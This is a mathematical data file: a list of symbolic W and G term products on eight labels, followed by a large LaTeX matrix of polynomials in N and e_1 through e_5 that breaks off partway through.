W(1)W(2)W(3)G(4, 7)G(5, 8)
W(1)W(2)G(3, 4)W(5)G(6, 8)
W(1)W(2)G(3, 4)G(5, 6)G(7, 8)
W(1)W(2)G(3, 4)G(5, 7)G(6, 8)
W(1)W(2)G(3, 5)G(4, 6)G(7, 8)
W(1)W(2)G(3, 5)G(4, 7)G(6, 8)
W(1)W(2)G(3, 6)G(4, 7)G(5, 8)
W(1)W(3)G(2, 4)W(5)G(6, 8)
W(1)W(3)G(2, 4)G(5, 6)G(7, 8)
W(1)W(3)G(2, 4)G(5, 7)G(6, 8)
W(1)W(3)G(2, 5)G(4, 6)G(7, 8)
W(1)W(3)G(2, 5)G(4, 7)G(6, 8)
W(1)W(3)G(2, 6)G(4, 7)G(5, 8)
W(1)W(4)G(2, 5)G(3, 6)G(7, 8)
W(1)W(4)G(2, 5)G(3, 7)G(6, 8)
W(1)W(4)G(2, 6)G(3, 7)G(5, 8)
W(1)W(5)G(2, 6)G(3, 7)G(4, 8)
W(2)W(3)G(1, 4)W(5)G(6, 8)
W(2)W(3)G(1, 4)G(5, 6)G(7, 8)
W(2)W(3)G(1, 4)G(5, 7)G(6, 8)
W(2)W(3)G(1, 5)G(4, 6)G(7, 8)
W(2)W(3)G(1, 5)G(4, 7)G(6, 8)
W(2)W(3)G(1, 6)G(4, 7)G(5, 8)
W(2)W(4)G(1, 5)G(3, 6)G(7, 8)
W(2)W(4)G(1, 5)G(3, 7)G(6, 8)
W(2)W(4)G(1, 6)G(3, 7)G(5, 8)
W(2)W(5)G(1, 6)G(3, 7)G(4, 8)
W(3)W(4)G(1, 5)G(2, 6)G(7, 8)
W(3)W(4)G(1, 5)G(2, 7)G(6, 8)
W(3)W(4)G(1, 6)G(2, 7)G(5, 8)
W(3)W(5)G(1, 6)G(2, 7)G(4, 8)
W(4)W(5)G(1, 6)G(2, 7)G(3, 8)
W(1)W(2)W(3)W(4)W(5)G(6, 8)
W(1)W(2)W(3)W(4)G(5, 6)G(7, 8)
W(1)W(2)W(3)W(4)G(5, 7)G(6, 8)
W(1)W(2)W(3)W(5)G(4, 6)G(7, 8)
W(1)W(2)W(3)W(5)G(4, 7)G(6, 8)
W(1)W(2)W(3)W(6)G(4, 7)G(5, 8)
W(1)W(2)W(4)W(5)G(3, 6)G(7, 8)
W(1)W(2)W(4)W(5)G(3, 7)G(6, 8)
W(1)W(2)W(4)W(6)G(3, 7)G(5, 8)
W(1)W(2)W(5)W(6)G(3, 7)G(4, 8)
W(1)W(3)W(4)W(5)G(2, 6)G(7, 8)
W(1)W(3)W(4)W(5)G(2, 7)G(6, 8)
W(1)W(3)W(4)W(6)G(2, 7)G(5, 8)
W(1)W(3)W(5)W(6)G(2, 7)G(4, 8)
W(1)W(4)W(5)W(6)G(2, 7)G(3, 8)
W(2)W(3)W(4)W(5)G(1, 6)G(7, 8)
W(2)W(3)W(4)W(5)G(1, 7)G(6, 8)
W(2)W(3)W(4)W(6)G(1, 7)G(5, 8)
W(2)W(3)W(5)W(6)G(1, 7)G(4, 8)
W(2)W(4)W(5)W(6)G(1, 7)G(3, 8)
W(3)W(4)W(5)W(6)G(1, 7)G(2, 8)
W(1)W(2)W(3)W(4)W(5)W(6)G(7, 8)
W(1)W(2)W(3)W(4)W(5)W(7)G(6, 8)
W(1)W(2)W(3)W(4)W(6)W(7)G(5, 8)
W(1)W(2)W(3)W(5)W(6)W(7)G(4, 8)
W(1)W(2)W(4)W(5)W(6)W(7)G(3, 8)
W(1)W(3)W(4)W(5)W(6)W(7)G(2, 8)
W(2)W(3)W(4)W(5)W(6)W(7)G(1, 8)
W(1)W(2)W(3)W(4)W(5)W(6)W(7)W(8)
```
$$
\left(\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr}
1 & -N & 0 & N^{2} & 0 & 0 & 0 & -N^{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{6} \\
0 & e_{1} & -e_{1} & -N e_{1} & -e_{1} & 0 & N e_{1} & N^{2} e_{1} & -e_{1} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} & -N^{3} e_{1} & -e_{1} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{1} & N^{4} e_{1} & -e_{1} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{1} & -N^{5} e_{1} \\
0 & 0 & e_{2} & -N e_{2} & 0 & N e_{2} & 0 & N^{2} e_{2} & 0 & N e_{2} & 0 & 0 & 0 & -N^{2} e_{2} & 0 & -N^{3} e_{2} & 0 & N e_{2} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{2} & 0 & N^{4} e_{2} & 0 & N e_{2} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{2} & 0 & -N^{5} e_{2} \\
0 & 0 & 0 & e_{1} e_{2} & 0 & -e_{1} e_{2} & -e_{1} e_{2} & -N e_{1} e_{2} & 0 & -e_{1} e_{2} & 0 & e_{1} e_{2} & 0 & N e_{1} e_{2} & N e_{1} e_{2} & N^{2} e_{1} e_{2} & 0 & -e_{1} e_{2} & 0 & e_{1} e_{2} & e_{1} e_{2} & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} & 0 & 0 & -N^{2} e_{1} e_{2} & -N^{2} e_{1} e_{2} & -N^{3} e_{1} e_{2} & 0 & -e_{1} e_{2} & 0 & e_{1} e_{2} & e_{1} e_{2} & e_{1} e_{2} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{2} & 0 & 0 & 0 & N^{3} e_{1} e_{2} & N^{3} e_{1} e_{2} & N^{4} e_{1} e_{2} \\
0 & 0 & 0 & 0 & e_{3} & -N e_{3} & -N e_{3} & N^{2} e_{3} & 0 & 0 & 0 & 0 & -N^{2} e_{3} & 0 & 0 & -N^{3} e_{3} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{3} & 0 & 0 & N^{4} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{3} & 0 & 0 & -N^{5} e_{3} \\
0 & 0 & 0 & 0 & 0 & e_{1} e_{3} & 0 & -N e_{1} e_{3} & 0 & 0 & e_{1} e_{3} & 0 & N e_{1} e_{3} & 0 & N e_{1} e_{3} & N^{2} e_{1} e_{3} & 0 & 0 & e_{1} e_{3} & 0 & 0 & N e_{1} e_{3} & 0 & 0 & 0 & -N e_{1} e_{3} & 0 & 0 & -N^{2} e_{1} e_{3} & 0 & -N^{2} e_{1} e_{3} & -N^{3} e_{1} e_{3} & 0 & 0 & e_{1} e_{3} & 0 & 0 & 0 & N e_{1} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{3} & 0 & 0 & 0 & N^{3} e_{1} e_{3} & 0 & N^{3} e_{1} e_{3} & N^{4} e_{1} e_{3} \\
0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} & -N e_{2} e_{3} & 0 & 0 & -e_{2} e_{3} & -e_{2} e_{3} & N e_{2} e_{3} & N e_{2} e_{3} & 0 & N^{2} e_{2} e_{3} & 0 & 0 & -e_{2} e_{3} & -e_{2} e_{3} & 0 & N e_{2} e_{3} & 0 & -N e_{2} e_{3} & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{3} & -N^{2} e_{2} e_{3} & 0 & -N^{3} e_{2} e_{3} & 0 & 0 & -e_{2} e_{3} & -e_{2} e_{3} & 0 & 0 & N e_{2} e_{3} & 0 & -N e_{2} e_{3} & -N e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{2} e_{3} & N^{3} e_{2} e_{3} & 0 & N^{4} e_{2} e_{3} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & -e_{1} e_{2} e_{3} & -e_{1} e_{2} e_{3} & -N e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & 0 & e_{1} e_{2} e_{3} & 0 & e_{1} e_{2} e_{3} & e_{1} e_{2} e_{3} & 0 & N e_{1} e_{2} e_{3} & N e_{1} e_{2} e_{3} & N e_{1} e_{2} e_{3} & N^{2} e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & 0 & e_{1} e_{2} e_{3} & e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} & 0 & 0 & -N e_{1} e_{2} e_{3} & -N e_{1} e_{2} e_{3} & 0 & 0 & -N^{2} e_{1} e_{2} e_{3} & -N^{2} e_{1} e_{2} e_{3} & -N^{2} e_{1} e_{2} e_{3} & -N^{3} e_{1} e_{2} e_{3} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} & -N e_{4} & 0 & 0 & N^{2} e_{4} & N^{2} e_{4} & N^{2} e_{4} & -N^{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{4} & 0 & 0 & 0 & N^{4} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{4} & 0 & 0 & 0 & -N^{5} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} & -e_{1} e_{4} & -e_{1} e_{4} & -N e_{1} e_{4} & -N e_{1} e_{4} & 0 & N^{2} e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{4} & 0 & 0 & -N^{2} e_{1} e_{4} & 0 & 0 & -N^{2} e_{1} e_{4} & -N^{3} e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{4} & 0 & 0 & 0 & N^{3} e_{1} e_{4} & 0 & 0 & N^{3} e_{1} e_{4} & N^{4} e_{1} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} & 0 & -N e_{2} e_{4} & 0 & -N e_{2} e_{4} & N^{2} e_{2} e_{4} & 0 & 0 & 0 & 0 & -e_{2} e_{4} & 0 & -N e_{2} e_{4} & 0 & 0 & 0 & N e_{2} e_{4} & -N^{2} e_{2} e_{4} & 0 & -N^{2} e_{2} e_{4} & 0 & -N^{3} e_{2} e_{4} & 0 & 0 & 0 & 0 & -e_{2} e_{4} & 0 & 0 & -N e_{2} e_{4} & 0 & 0 & N e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{4} & 0 & 0 & 0 & N^{2} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{2} e_{4} & 0 & N^{3} e_{2} e_{4} & 0 & N^{4} e_{2} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} & 0 & -N e_{3} e_{4} & -N e_{3} e_{4} & N^{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & N e_{3} e_{4} & N e_{3} e_{4} & N e_{3} e_{4} & N e_{3} e_{4} & 0 & -N^{2} e_{3} e_{4} & -N^{2} e_{3} e_{4} & 0 & 0 & -N^{3} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N e_{3} e_{4} & N e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{3} e_{4} & 0 & N^{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{3} e_{4} & N^{3} e_{3} e_{4} & 0 & 0 & N^{4} e_{3} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} & 0 & 0 & -N e_{1} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} & 0 & e_{1} e_{2} e_{4} & 0 & 0 & N e_{1} e_{2} e_{4} & 0 & N e_{1} e_{2} e_{4} & N e_{1} e_{2} e_{4} & N^{2} e_{1} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{4} & 0 & N e_{1} e_{2} e_{4} & 0 & 0 & 0 & -N e_{1} e_{2} e_{4} & 0 & 0 & -N e_{1} e_{2} e_{4} & 0 & -N e_{1} e_{2} e_{4} & 0 & -N^{2} e_{1} e_{2} e_{4} & 0 & -N^{2} e_{1} e_{2} e_{4} & -N^{2} e_{1} e_{2} e_{4} & -N^{3} e_{1} e_{2} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} & 0 & -N e_{1} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} & -e_{1} e_{3} e_{4} & 0 & 0 & 0 & N e_{1} e_{3} e_{4} & N e_{1} e_{3} e_{4} & 0 & N e_{1} e_{3} e_{4} & N^{2} e_{1} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} & -e_{1} e_{3} e_{4} & 0 & e_{1} e_{3} e_{4} & 0 & -e_{1} e_{3} e_{4} & 0 & 0 & 0 & N e_{1} e_{3} e_{4} & 0 & -N e_{1} e_{3} e_{4} & 0 & 0 & 0 & 0 & -N e_{1} e_{3} e_{4} & -N e_{1} e_{3} e_{4} & 0 & 0 & -N^{2} e_{1} e_{3} e_{4} & -N^{2} e_{1} e_{3} e_{4} & 0 & -N^{2} e_{1} e_{3} e_{4} & -N^{3} e_{1} e_{3} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} & -N e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{3} e_{4} & -e_{2} e_{3} e_{4} & -e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & 0 & N^{2} e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{3} e_{4} & 0 & e_{2} e_{3} e_{4} & 0 & e_{2} e_{3} e_{4} & e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & 0 & -N e_{2} e_{3} e_{4} & 0 & -N e_{2} e_{3} e_{4} & -N e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{3} e_{4} & -N^{2} e_{2} e_{3} e_{4} & -N^{2} e_{2} e_{3} e_{4} & 0 & -N^{3} e_{2} e_{3} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} e_{4} & -e_{1} e_{2} e_{3} e_{4} & -e_{1} e_{2} e_{3} e_{4} & -e_{1} e_{2} e_{3} e_{4} & -N e_{1} e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} e_{4} & 0 & e_{1} e_{2} e_{3} e_{4} & 0 & e_{1} e_{2} e_{3} e_{4} & e_{1} e_{2} e_{3} e_{4} & 0 & e_{1} e_{2} e_{3} e_{4} & e_{1} e_{2} e_{3} e_{4} & e_{1} e_{2} e_{3} e_{4} & 0 & N e_{1} e_{2} e_{3} e_{4} & N e_{1} e_{2} e_{3} e_{4} & N e_{1} e_{2} e_{3} e_{4} & N e_{1} e_{2} e_{3} e_{4} & N^{2} e_{1} e_{2} e_{3} e_{4} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{5} & -N e_{5} & 0 & 0 & 0 & N^{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -N^{3} e_{5} & -N^{3} e_{5} & -N^{3} e_{5} & -N^{3} e_{5} & N^{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{5} & 0 & 0 & 0 & 0 & -N^{5} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{5} & -e_{1} e_{5} & -e_{1} e_{5} & -e_{1} e_{5} & -N e_{1} e_{5} & 0 & 0 & N e_{1} e_{5} & N e_{1} e_{5} & N e_{1} e_{5} & N^{2} e_{1} e_{5} & N^{2} e_{1} e_{5} & N^{2} e_{1} e_{5} & 0 & -N^{3} e_{1} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{5} & 0 & 0 & 0 & N^{3} e_{1} e_{5} & 0 & 0 & 0 & N^{3} e_{1} e_{5} & N^{4} e_{1} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{5} & 0 & 0 & -N e_{2} e_{5} & N e_{2} e_{5} & N e_{2} e_{5} & 0 & 0 & 0 & N^{2} e_{2} e_{5} & N^{2} e_{2} e_{5} & 0 & N^{2} e_{2} e_{5} & -N^{3} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{5} & N^{3} e_{2} e_{5} & 0 & 0 & N^{3} e_{2} e_{5} & 0 & N^{4} e_{2} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{5} & 0 & 0 & -N e_{3} e_{5} & 0 & -N e_{3} e_{5} & 0 & 0 & N^{2} e_{3} e_{5} & 0 & N^{2} e_{3} e_{5} & N^{2} e_{3} e_{5} & -N^{3} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{3} e_{5} & 0 & 0 & 0 & -N^{2} e_{3} e_{5} & 0 & 0 & -N^{2} e_{3} e_{5} & 0 & N^{3} e_{3} e_{5} & 0 & N^{3} e_{3} e_{5} & 0 & 0 & N^{4} e_{3} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} e_{5} & 0 & 0 & -N e_{4} e_{5} & 0 & -N e_{4} e_{5} & -N e_{4} e_{5} & 0 & N^{2} e_{4} e_{5} & N^{2} e_{4} e_{5} & N^{2} e_{4} e_{5} & -N^{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & 0 & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & 0 & 0 & N^{3} e_{4} e_{5} & N^{3} e_{4} e_{5} & 0 & 0 & 0 & N^{4} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & 0 & -N e_{1} e_{2} e_{5} & -N e_{1} e_{2} e_{5} & 0 & 0 & N^{2} e_{1} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{5} & 0 & 0 & -N e_{1} e_{2} e_{5} & 0 & 0 & 0 & -N^{2} e_{1} e_{2} e_{5} & 0 & 0 & -N^{2} e_{1} e_{2} e_{5} & -N^{2} e_{1} e_{2} e_{5} & -N^{3} e_{1} e_{2} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{5} & 0 & 0 & 0 & -e_{1} e_{3} e_{5} & -N e_{1} e_{3} e_{5} & 0 & -N e_{1} e_{3} e_{5} & 0 & N^{2} e_{1} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{5} & 0 & -e_{1} e_{3} e_{5} & 0 & 0 & 0 & e_{1} e_{3} e_{5} & 0 & -N e_{1} e_{3} e_{5} & 0 & 0 & 0 & N e_{1} e_{3} e_{5} & -N e_{1} e_{3} e_{5} & 0 & 0 & 0 & -N^{2} e_{1} e_{3} e_{5} & 0 & -N^{2} e_{1} e_{3} e_{5} & 0 & -N^{2} e_{1} e_{3} e_{5} & -N^{3} e_{1} e_{3} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{5} & 0 & 0 & 0 & 0 & -N e_{1} e_{4} e_{5} & -N e_{1} e_{4} e_{5} & 0 & N^{2} e_{1} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{5} & e_{1} e_{4} e_{5} & e_{1} e_{4} e_{5} & e_{1} e_{4} e_{5} & 0 & 0 & N e_{1} e_{4} e_{5} & N e_{1} e_{4} e_{5} & N e_{1} e_{4} e_{5} & N e_{1} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} e_{4} e_{5} & -N^{2} e_{1} e_{4} e_{5} & 0 & 0 & -N^{2} e_{1} e_{4} e_{5} & -N^{3} e_{1} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{5} & 0 & 0 & -N e_{2} e_{3} e_{5} & 0 & 0 & -N e_{2} e_{3} e_{5} & N^{2} e_{2} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{5} & 0 & e_{2} e_{3} e_{5} & 0 & 0 & 0 & -N e_{2} e_{3} e_{5} & 0 & -N e_{2} e_{3} e_{5} & 0 & 0 & 0 & 0 & N e_{2} e_{3} e_{5} & N e_{2} e_{3} e_{5} & -N^{2} e_{2} e_{3} e_{5} & 0 & -N^{2} e_{2} e_{3} e_{5} & -N^{2} e_{2} e_{3} e_{5} & 0 & -N^{3} e_{2} e_{3} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} e_{5} & 0 & 0 & -N e_{2} e_{4} e_{5} & 0 & -N e_{2} e_{4} e_{5} & N^{2} e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{4} e_{5} & -e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & N e_{2} e_{4} e_{5} & N e_{2} e_{4} e_{5} & 0 & 0 & 0 & N e_{2} e_{4} e_{5} & N e_{2} e_{4} e_{5} & 0 & N e_{2} e_{4} e_{5} & -N^{2} e_{2} e_{4} e_{5} & -N^{2} e_{2} e_{4} e_{5} & 0 & -N^{2} e_{2} e_{4} e_{5} & 0 & -N^{3} e_{2} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} e_{5} & 0 & 0 & -N e_{3} e_{4} e_{5} & -N e_{3} e_{4} e_{5} & N^{2} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{3} e_{4} e_{5} & -e_{3} e_{4} e_{5} & -e_{3} e_{4} e_{5} & 0 & 0 & 0 & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & 0 & -N^{2} e_{3} e_{4} e_{5} & -N^{2} e_{3} e_{4} e_{5} & -N^{2} e_{3} e_{4} e_{5} & 0 & 0 & -N^{3} e_{3} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & 0 & 0 & N e_{1} e_{2} e_{3} e_{5} & 0 & N e_{1} e_{2} e_{3} e_{5} & N e_{1} e_{2} e_{3} e_{5} & N e_{1} e_{2} e_{3} e_{5} & N^{2} e_{1} e_{2} e_{3} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} e_{5} & 0 & 0 & -N e_{1} e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{4} e_{5} & -e_{1} e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N e_{1} e_{2} e_{4} e_{5} & N e_{1} e_{2} e_{4} e_{5} & 0 & N e_{1} e_{2} e_{4} e_{5} & N e_{1} e_{2} e_{4} e_{5} & N^{2} e_{1} e_{2} e_{4} e_{5} \\
